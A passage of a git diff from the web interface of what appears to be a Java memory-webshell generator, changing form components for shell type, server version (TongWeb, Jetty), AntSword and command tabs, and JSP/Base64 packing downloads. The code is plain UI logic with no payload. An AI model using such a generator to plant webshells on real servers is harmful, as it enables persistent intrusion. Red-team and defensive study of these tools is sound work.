(selectedMethod !== "") { + setSelectedMethod(""); + } + return; + } + if (!packMethods.includes(selectedMethod)) { + setSelectedMethod(packMethods[0]); } - }, [allPackResults, selectedMethod]); + }, [packMethods, selectedMethod]); - const handleDownload = () => { + const handleDownload = useCallback(() => { const fileName = shellClassName?.substring(shellClassName?.lastIndexOf(".") ?? 0) ?? ""; if (packMethod === "JSP") { @@ -64,13 +70,17 @@ export function MultiPackResult({ }); return downloadContent(content, fileName, ".data"); } else if (packMethod === "Base64") { - const base64Content = - allPackResults?.[ - Object.keys(allPackResults)[0] as keyof typeof allPackResults - ] ?? ""; + const base64Content = packResults?.[packMethods[0]] ?? ""; return downloadBytes(base64Content, shellClassName); } - }; + }, [ + packMethod, + packMethods, + packResult, + packResults, + selectedMethod, + shellClassName, + ]); return ( { setSelectedMethod(value as string); - setPackResult( - allPackResults?.[value as keyof typeof allPackResults] ?? "", - ); }} value={selectedMethod} > diff --git a/web/app/components/memshell/serverversion-field.tsx b/web/app/components/memshell/serverversion-field.tsx new file mode 100644 index 00000000..35d57ef8 --- /dev/null +++ b/web/app/components/memshell/serverversion-field.tsx @@ -0,0 +1,76 @@ +import { Controller, type UseFormReturn, useWatch } from "react-hook-form"; +import { useTranslation } from "react-i18next"; +import { + Field, + FieldContent, + FieldError, + FieldLabel, +} from "@/components/ui/field"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import type { MemShellFormSchema } from "@/types/schema"; + +export function ServerVersionFormField({ + form, +}: Readonly<{ + form: UseFormReturn; +}>) { + const { t } = useTranslation(["common"]); + const server = useWatch({ control: form.control, name: "server" }); + const serverVersionOptions = getServerVersionOptions(server); + return ( + ( + + + + {t("common:serverVersion")} + + + {fieldState.error && } + + + )} + /> + ); +} + +function getServerVersionOptions(server: string) { + if (server === "TongWeb") { + return [ + { name: "6", value: "6" }, + { name: "7", value: "7" }, + { name: "8", value: "8" }, + ]; + } else if (server === "Jetty") { + return [ + { name: "6", value: "6" }, + { name: "7+", value: "7+" }, + { name: "12", value: "12" }, + ]; + } + return [{ name: "Unknown", value: "Unknown" }]; +} diff --git a/web/app/components/memshell/tabs/antsword-tab.tsx b/web/app/components/memshell/tabs/antsword-tab.tsx index 54224cff..264b44c2 100644 --- a/web/app/components/memshell/tabs/antsword-tab.tsx +++ b/web/app/components/memshell/tabs/antsword-tab.tsx @@ -7,7 +7,6 @@ import { TabsContent } from "@/components/ui/tabs"; import type { MemShellFormSchema } from "@/types/schema"; import { OptionalClassFormField } from "./classname-field"; import { ShellTypeFormField } from "./shelltype-field"; -import { UrlPatternFormField } from "./urlpattern-field"; export function AntSwordTabContent({ form, @@ -21,10 +20,7 @@ export function AntSwordTabContent({ -
- - -
+ -
- - -
+ ) { const { t } = useTranslation(["memshell", "common"]); const [isAdvancedOpen, setIsAdvancedOpen] = useState(false); + const shellType = useWatch({ + name: "shellType", + control: form.control, + }); const { data } = useQuery<{ encryptors: Array; implementationClasses: Array; @@ -54,15 +57,12 @@ export function CommandTabContent({ -
- - -
+ ( - +